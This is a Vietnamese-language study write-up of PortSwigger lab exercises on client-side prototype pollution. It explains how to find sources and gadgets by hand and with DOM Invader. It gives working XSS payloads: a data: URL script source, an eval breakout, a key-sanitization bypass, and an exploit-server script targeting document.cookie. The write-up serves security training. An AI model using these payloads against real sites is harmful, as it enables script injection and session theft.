Finding Client-side Prototype Pollution Sources Manually
Việc tìm kiếm các nguồn prototype pollution theo cách thủ công phần lớn là một quá trình thử và sai.
Khi kiểm thử các lỗ hổng phía client, quá trình này bao gồm các bước cấp cao sau:
- Thử chèn một thuộc tính tùy ý thông qua query string, URL fragment và bất kỳ input JSON nào. Ví dụ:
vulnerable-website.com/?__proto__[foo]=bar
. - Trong console của trình duyệt, kiểm tra
Object.prototype
để xem chúng ta đã thành công trong việc làm ô nhiễm nó với thuộc tính tùy ý của mình hay chưa. - Nếu thuộc tính không được thêm vào prototype, hãy thử sử dụng các kỹ thuật khác, chẳng hạn như chuyển sang ký hiệu dấu chấm thay vì ký hiệu ngoặc vuông hoặc ngược lại:
vulnerable-website.com/?__proto__.foo=bar
.
Finding Client-side Prototype Pollution Sources Using DOM Invader
DOM Invader có thể tự động kiểm tra các nguồn prototype pollution khi chúng ta duyệt web, điều này có thể tiết kiệm đáng kể thời gian và công sức.
Finding Client-side Prototype Pollution Gadgets Manually
Khi chúng ta đã xác định được một nguồn cho phép thêm các thuộc tính tùy ý vào Object.prototype
toàn cục,
-
Thêm một câu lệnh
debugger
vào đầu script phía client. -
Trong khi script vẫn đang tạm dừng, hãy chuyển sang console và nhập lệnh sau, thay thế
YOUR-PROPERTY
bằng một trong các thuộc tính mà chúng ta cho là một gadget tiềm năng:Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', { get() { console.trace(); return 'polluted'; } })
-
Nếu một stack trace xuất hiện, điều này xác nhận rằng thuộc tính đã được truy cập ở đâu đó trong ứng dụng.
-
Mở rộng stack trace và sử dụng liên kết được cung cấp để chuyển đến dòng mã nơi thuộc tính đang được đọc.
-
Sử dụng các điều khiển của trình gỡ lỗi của trình duyệt, đi qua từng giai đoạn thực thi để xem liệu thuộc tính có được truyền đến một sink, chẳng hạn như
innerHTML
hoặceval()
.
Finding Client-side Prototype Pollution Gadgets Using DOM Invader
Do các trang web thường dựa vào một số thư viện của bên thứ ba, việc xác định các gadget prototype pollution theo cách thủ công có thể liên quan đến việc đọc qua hàng nghìn dòng mã được thu nhỏ hoặc làm rối, điều này làm cho mọi thứ trở nên phức tạp hơn.
DOM Invader có thể tự động quét các gadget thay cho chúng ta và thậm chí có thể tạo ra một proof-of-concept DOM XSS trong một số trường hợp.
Lab: DOM XSS via Client-side Prototype Pollution
Bật DOM Invader, thử tìm kiếm một cái gì đó và tìm thấy một số nguồn trong tham số search
của endpoint /
.
Một trong số đó là:
/?search=hello&__proto__[testproperty]=DOM_INVADER_PP_POC
Chúng ta cũng có thể sử dụng payload ô nhiễm mà không cần tham số search
:
/?__proto__[testproperty]=DOM_INVADER_PP_POC
Có 2 tệp script phía client: searchLogger.js
và deparam.js
.
// searchLogger.js
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
window.addEventListener("load", searchLogger);
Các tham số truy vấn (new URL(location).searchParams.toString()
) sẽ được truyền vào hàm deparam()
đến từ tệp deparam.js
.
Đoạn mã sau trong deparam.js
chịu trách nhiệm làm ô nhiễm Object.prototype
:
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
: val;
}
Trong đó:
keys_last: 1
i: 0
keys: ["__proto__", "testproperty"]
cur: {}
val: "DOM_INVADER_PP_POC"
Vòng lặp đầu tiên:
key = "__proto__"
cur["__proto__"] = {}
cur = cur[__proto__]
. Tại bước này,cur
trỏ đến prototype của nó, đó là prototype toàn cục (Object.prototype
).
Vòng lặp thứ hai:
key = "testproperty"
cur["testproperty"] = "DOM_INVADER_PP_POC"
. Điều này sẽ làm ô nhiễmObject.prototype
với thuộc tínhtestproperty
.cur = "DOM_INVADER_PP_POC"
Nhấn nút “Scan for gadgets” và tìm thấy một sink. Stack trace của nó:
at _0x56d282 (<anonymous>:2:743834)
at Object.EAULH (<anonymous>:2:382702)
at HTMLScriptElement.set [as src] (<anonymous>:2:383828)
at searchLogger (https://0a1c00630488f36280c2121e004100e7.web-security-academy.net/resources/js/searchLogger.js:14:20)
Lệnh gọi stack cuối cùng sẽ là đoạn mã này trong hàm searchLogger()
của tệp searchLogger.js
:
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
Rõ ràng, config
sẽ không có thuộc tính transport_url
và thuộc tính này sẽ được sử dụng làm src
cho thẻ <script>
.
Tóm lại:
- Source: tham số
search
- Gadget: thuộc tính
transport_url
- Sink: thẻ
<script>
Payload cuối cùng:
/?search=hello&__proto__[transport_url]=data:,alert('xss');
Trong đó data:,alert('xss')
là một cú pháp để viết và thực thi JavaScript trong thanh URL, có thể được sử dụng như một URL.
Lab: DOM XSS via an Alternative Prototype Pollution Vector
Nguồn của lab này giống với lab trước, đó là tham số search
.
Payload hơi khác một chút (sử dụng .
thay vì []
):
/?search=hello&__proto__.testproperty=DOM_INVADER_PP_POC
Nhấn nút “Scan for gadgets” và tìm thấy một sink. Stack trace của nó:
at _0x56d282 (<anonymous>:2:743834)
at Object.NRkhM (<anonymous>:2:104467)
at Object.JRrUi (<anonymous>:2:349123)
at _0x6b6954.<computed> (<anonymous>:2:374901)
at searchLogger (https://0a2900c80477688390c95d5000e7004f.web-security-academy.net/resources/js/searchLoggerAlternative.js:18:5)
Mã nguồn trong searchLoggerAlternative.js
:
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
window.macros = {};
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}};
let a = manager.sequence || 1;
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}
}
window.addEventListener("load", searchLogger);
Sự ô nhiễm xảy ra trong phương thức $.parseParams()
. Cụ thể, nó đến từ một tệp nguồn có tên là jquery_parseparams.js
.
Trong hàm parseParams()
, có một vòng lặp để phân tích các cặp key-value từ query string:
var params = {}, e;
if (query) {
// ...
while (e = re.exec(query)) {
var key = decode(e[1]);
var value = decode(e[2]);
createElement(params, key, value);
}
// ...
}
return params;
Vòng lặp đầu tiên:
params: {}
key: "search"
value: "hello"
Vòng lặp thứ hai:
params: {"search": "hello"}
key: "__proto__.testproperty"
value: "DOM_INVADER_PP_POC"
Hàm createElement()
:
// Simple variable: ?var=abc returns {var: "abc"}
// Simple object: ?var.length=2&var.scope=123 returns {var: {length: "2", scope: "123"}}
function createElement(params, key, value) {
key = key + '';
// if the key is a property
if (key.indexOf('.') !== -1) {
// extract the first part with the name of the object
var list = key.split('.');
// the rest of the key
var new_key = key.split(/\.(.+)?/)[1];
// create the object if it doesnt exist
if (!params[list[0]]) params[list[0]] = {};
// if the key is not empty, create it in the object
if (new_key !== '') {
createElement(params[list[0]], new_key, value);
} else console.warn('parseParams :: empty property in key "' + key + '"');
} else
// if the key is an array
if (key.indexOf('[') !== -1) {
// ...
} else
// just normal key
{
if (!params) params = {};
params[key] = value;
}
Như chúng ta đã biết, ở vòng lặp thứ hai, key có .
bên trong nó nên câu lệnh if
đầu tiên được thực hiện:
list: ["__proto__", "testproperty"]
new_key: "testproperty"
Sau đó, điều kiện if
sau sẽ gọi hàm createElement()
một cách đệ quy:
if (new_key !== '') {
createElement(params[list[0]], new_key, value);
}
Các đối số của nó:
params[list[0]]: Object.prototype => params
new_key: "testproperty" => key
value: "DOM_INVADER_PP_POC" => value
Sau đó, khi được gọi, hàm createElement()
sẽ thêm một thuộc tính có tên là "testproperty"
với giá trị là "DOM_INVADER_PP_POC"
vào Object.prototype
thông qua câu lệnh else
cuối cùng:
else
// just normal key
{
if (!params) params = {};
params[key] = value;
}
Trong đoạn mã trên:
params: Object.prototype
key: "testproperty"
value: "DOM_INVADER_PP_POC"
Đây là lúc Object.prototype
bị ô nhiễm.
Tiếp theo, chúng ta tập trung vào đoạn mã này trong tệp searchLoggerAlternative.js
:
let a = manager.sequence || 1;
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
Chúng ta có thể làm ô nhiễm thuộc tính sequence
vì nó sẽ được truyền vào eval()
.
Tóm lại:
- Source: tham số
search
- Gadget:
sequence
- Sink:
eval()
Payload
/?search=hello&__proto__.sequence=)};alert('xss');//
Giải thích:
)}
được sử dụng để đóng hàmmacro()
cũng như khối mã.;
được sử dụng để phân tách các câu lệnh.alert('xss');
là mã chúng ta muốn thực thi.//
được sử dụng để chú thích phần còn lại của mã trong ngữ cảnh.
Prototype Pollution via the Constructor
Một cách phòng thủ phổ biến là loại bỏ bất kỳ thuộc tính nào có khóa __proto__
khỏi các đối tượng do người dùng kiểm soát trước khi hợp nhất chúng. Cách tiếp cận này có thiếu sót vì có những cách khác để tham chiếu đến Object.prototype
mà không cần dựa vào chuỗi __proto__
chút nào.
Trừ khi prototype của nó được đặt thành null
, mọi đối tượng JavaScript đều có một thuộc tính constructor
, chứa một tham chiếu đến hàm tạo đã được sử dụng để tạo ra nó.
Hãy nhớ rằng các hàm cũng chỉ là các đối tượng. Mỗi hàm tạo có một thuộc tính prototype
, trỏ đến prototype sẽ được gán cho bất kỳ đối tượng nào được tạo bởi hàm tạo này.
myObject.constructor.prototype // Object.prototype
myString.constructor.prototype // String.prototype
myArray.constructor.prototype // Array.prototype
Vì myObject.constructor.prototype
tương đương với myObject.__proto__
, điều này cung cấp một vector thay thế cho prototype pollution.
Bypassing Flawed Key Sanitization
Một trong những cách rõ ràng mà các trang web cố gắng ngăn chặn prototype pollution là làm sạch các khóa thuộc tính trước khi hợp nhất chúng vào một đối tượng hiện có.
Lab: Client-side Prototype Pollution via Flawed Sanitization
Lab này có gadget và sink tương tự như Lab DOM XSS via Client-side Prototype Pollution, đó là transport_url
và script.src
.
Nhưng có một hàm sanitizeKey(key)
trong tệp searchLoggerFiltered.js
:
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
function sanitizeKey(key) {
let badProperties = ['constructor','__proto__','prototype'];
for(let badProperty of badProperties) {
key = key.replaceAll(badProperty, '');
}
return key;
}
window.addEventListener("load", searchLogger);
replaceAll
không thay thế một cách đệ quy nên chúng ta có thể làm rối như sau:
/?search=hello&__pro__proto__to__.testproperty=DOM_INVADER_PP_POC
Payload sau khi làm sạch sẽ là:
/?search=hello&__proto__.testproperty=DOM_INVADER_PP_POC
Có một vấn đề khác đến từ hàm deparam()
: sự ô nhiễm chỉ xảy ra khi chúng ta sử dụng ký hiệu []
thay vì .
.
Điều này là do khối mã gây ra prototype pollution chỉ được thực thi nếu điều kiện if
của nó được thỏa mãn:
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[sanitizeKey(key)] = i < keys_last
? cur[sanitizeKey(key)] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
: val;
}
}
Để làm cho keys_last
trở thành truthy, chúng ta cần thỏa mãn khối mã này:
keys = key.split( '][' ),
keys_last = keys.length - 1;
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
keys = keys.shift().split('[').concat( keys );
keys_last = keys.length - 1;
}
Điều này ngụ ý rằng thuộc tính chúng ta sử dụng cần phải là ngoặc vuông.
Payload đã sửa đổi:
/?search=hello&__pro__proto__to__[transport_url]=data:,alert('xss');
Prototype Pollution in External Libraries
Trong trường hợp này, chúng tôi thực sự khuyên bạn nên sử dụng các tính năng prototype pollution của DOM Invader để xác định các nguồn và gadget. Điều này không chỉ nhanh hơn nhiều mà còn đảm bảo chúng ta sẽ không bỏ lỡ các lỗ hổng mà nếu không sẽ cực kỳ khó nhận thấy.
Lab: Client-side Prototype Pollution in Third-party Libraries
Lab này yêu cầu thực thi alert(document.cookie)
trong trình duyệt.
Sử dụng DOM Invader và tìm một nguồn đến từ fragment:
/#cat=13371&__proto__[testproperty]=DOM_INVADER_PP_POC
Cũng tìm thấy một gadget có tên là hitCallback
và một sink có tên là setTimeout
thông qua nút “Scan for gadgets”.
Payload cuối cùng:
/#cat=13371&__proto__[hitCallback]=alert(document.cookie)
Gửi đến nạn nhân thông qua exploit server:
<script>
location="https://0adf00500362c0cd87a7adaf0085006b.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>
Related
list
from outgoing([[Port Swigger - Client-side Prototype Pollution Vulnerabilities]])
sort file.ctime asc